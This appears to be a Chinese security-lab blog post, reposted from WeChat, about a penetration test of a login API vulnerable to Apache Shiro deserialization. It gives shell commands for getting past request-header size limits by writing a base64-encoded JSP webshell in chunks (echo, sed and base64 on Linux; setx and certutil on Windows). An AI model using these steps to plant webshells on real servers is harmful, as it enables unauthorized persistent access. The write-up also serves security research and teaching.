破军安全实验室
本文约1000字,阅读约需3分钟。
0x00 前言
0x01 发现
发现目标登录API存在Shiro指纹。
经检测得到密钥以及利用链,尝试Shiro反序列化利用工具进行命令执行。
0x02 利用过程
尝试手工写入webshell以及内存马写入,均无法成功写入。
经过分析响应数据包,发现问题在于请求头长度太大,导致服务器无法处理或处理当前请求。
知道问题所在后,测试服务器可接收的请求头长度,将webshell进行base64编码后分割,手工写入webshell。
Linux写入方法(除echo -n外的方法):
首行通过echo的方式进行写入
echo 'chunkdata'> path/shell.jsp
其余行通过sed将其写入行尾
sed -i '/$s/$/chunkdata/' path/shell.jsp
最终base64解码写入文件
cat path/shell.jsp|base64 -d > path/shell.jsp
示例:
Windows写入方法:
设置永久环境变量
setx chunk_1 data1
setx chunk_2 data2
当设置完环境变量或N个环境变量后写入文件
echo %chunk_1%%chunk_2% > pathtext
最终base64解码写入文件
certutil -decode pathtext pathshell.jsp
示例:
由于目标为Linux,这里我们就用Linux的写入方法,手工写入Webshell。
0x03 总结
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。
破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
破军安全实验室
# 长按二维码 关注我们 #
原文始发于微信公众号(破军安全实验室):记一次shiro反序列化无法写入shell分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论